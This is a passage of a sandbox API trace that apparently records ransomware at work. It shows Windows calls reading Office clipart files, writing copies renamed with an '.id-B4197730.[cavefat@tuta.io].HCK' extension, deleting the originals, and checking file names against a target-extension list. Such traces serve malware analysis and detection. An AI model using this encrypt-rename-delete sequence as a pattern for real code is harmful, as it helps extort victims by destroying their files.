hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.637] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.637] SetEndOfFile (hFile=0x4bc) returned 1 [0233.637] CloseHandle (hObject=0x4bc) returned 1 [0233.637] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.637] SetEndOfFile (hFile=0x4cc) returned 1 [0233.639] CloseHandle (hObject=0x4cc) returned 1 [0233.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0233.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.640] lstrlenW (lpString=".doc") returned 4 [0233.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString=".docx") returned 5 [0233.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.640] lstrlenW (lpString=".pdf") returned 4 [0233.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString=".xls") returned 4 [0233.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.640] lstrlenW (lpString=".xlsx") returned 5 [0233.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.640] lstrlenW (lpString=".ppt") returned 4 [0233.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.640] lstrlenW (lpString=".zip") returned 4 [0233.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.640] lstrlenW (lpString=".rar") returned 4 [0233.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString=".bz2") returned 4 [0233.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString=".7z") returned 3 [0233.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.640] lstrlenW (lpString=".dbf") returned 4 [0233.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.640] lstrlenW (lpString=".1cd") returned 4 [0233.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".jpg") returned 4 [0233.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".doc") returned 4 [0233.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString=".docx") returned 5 [0233.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.641] lstrlenW (lpString=".pdf") returned 4 [0233.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString=".xls") returned 4 [0233.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.641] lstrlenW (lpString=".xlsx") returned 5 [0233.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.641] lstrlenW (lpString=".ppt") returned 4 [0233.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".zip") returned 4 [0233.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.641] lstrlenW (lpString=".rar") returned 4 [0233.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString=".bz2") returned 4 [0233.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString=".7z") returned 3 [0233.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".dbf") returned 4 [0233.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".1cd") returned 4 [0233.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0233.641] lstrlenW (lpString=".jpg") returned 4 [0233.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.641] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.641] lstrlenW (lpString="J0107264.WMF") returned 12 [0233.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.644] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5272) returned 1 [0233.644] CloseHandle (hObject=0x4cc) returned 1 [0233.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0233.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.644] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.644] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.645] GetLastError () returned 0x0 [0233.645] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1498, lpOverlapped=0x0) returned 1 [0233.646] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x14a0, lpOverlapped=0x0) returned 1 [0233.647] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.647] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.647] SetEndOfFile (hFile=0x4bc) returned 1 [0233.647] CloseHandle (hObject=0x4bc) returned 1 [0233.647] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.647] SetEndOfFile (hFile=0x4cc) returned 1 [0233.874] CloseHandle (hObject=0x4cc) returned 1 [0233.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".doc") returned 4 [0233.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".docx") returned 5 [0233.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.876] lstrlenW (lpString=".pdf") returned 4 [0233.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".xls") returned 4 [0233.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.876] lstrlenW (lpString=".xlsx") returned 5 [0233.876] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.876] lstrlenW (lpString=".ppt") returned 4 [0233.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".zip") returned 4 [0233.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.876] lstrlenW (lpString=".rar") returned 4 [0233.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".bz2") returned 4 [0233.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".7z") returned 3 [0233.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".dbf") returned 4 [0233.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".1cd") returned 4 [0233.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".jpg") returned 4 [0233.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.876] lstrlenW (lpString=".doc") returned 4 [0233.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".docx") returned 5 [0233.876] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.876] lstrlenW (lpString=".pdf") returned 4 [0233.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".xls") returned 4 [0233.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.877] lstrlenW (lpString=".xlsx") returned 5 [0233.877] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.877] lstrlenW (lpString=".ppt") returned 4 [0233.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.877] lstrlenW (lpString=".zip") returned 4 [0233.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.877] lstrlenW (lpString=".rar") returned 4 [0233.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString=".bz2") returned 4 [0233.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString=".7z") returned 3 [0233.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.877] lstrlenW (lpString=".dbf") returned 4 [0233.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.877] lstrlenW (lpString=".1cd") returned 4 [0233.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0233.877] lstrlenW (lpString=".jpg") returned 4 [0233.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.877] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.877] lstrlenW (lpString="J0107266.WMF") returned 12 [0233.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.878] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5868) returned 1 [0233.878] CloseHandle (hObject=0x4cc) returned 1 [0233.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0233.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.878] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.878] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.879] GetLastError () returned 0x0 [0233.879] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x16ec, lpOverlapped=0x0) returned 1 [0233.880] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x16f0, lpOverlapped=0x0) returned 1 [0233.881] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.881] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.881] SetEndOfFile (hFile=0x548) returned 1 [0233.881] CloseHandle (hObject=0x548) returned 1 [0233.881] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.881] SetEndOfFile (hFile=0x4cc) returned 1 [0233.883] CloseHandle (hObject=0x4cc) returned 1 [0233.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0233.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.885] lstrlenW (lpString=".doc") returned 4 [0233.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.885] lstrlenW (lpString=".docx") returned 5 [0233.885] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.885] lstrlenW (lpString=".pdf") returned 4 [0233.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.885] lstrlenW (lpString=".xls") returned 4 [0233.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.886] lstrlenW (lpString=".xlsx") returned 5 [0233.886] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.886] lstrlenW (lpString=".ppt") returned 4 [0233.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".zip") returned 4 [0233.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.886] lstrlenW (lpString=".rar") returned 4 [0233.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".bz2") returned 4 [0233.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".7z") returned 3 [0233.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".dbf") returned 4 [0233.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".1cd") returned 4 [0233.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".jpg") returned 4 [0233.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".doc") returned 4 [0233.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".docx") returned 5 [0233.886] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.886] lstrlenW (lpString=".pdf") returned 4 [0233.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".xls") returned 4 [0233.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.886] lstrlenW (lpString=".xlsx") returned 5 [0233.886] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.886] lstrlenW (lpString=".ppt") returned 4 [0233.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".zip") returned 4 [0233.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.886] lstrlenW (lpString=".rar") returned 4 [0233.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".bz2") returned 4 [0233.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString=".7z") returned 3 [0233.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".dbf") returned 4 [0233.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.886] lstrlenW (lpString=".1cd") returned 4 [0233.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0233.887] lstrlenW (lpString=".jpg") returned 4 [0233.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.887] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.887] lstrlenW (lpString="J0107280.WMF") returned 12 [0233.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.887] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11108) returned 1 [0233.887] CloseHandle (hObject=0x4cc) returned 1 [0233.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0233.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.888] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.888] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.889] GetLastError () returned 0x0 [0233.889] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2b64, lpOverlapped=0x0) returned 1 [0233.890] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2b70, lpOverlapped=0x0) returned 1 [0233.891] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.891] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.891] SetEndOfFile 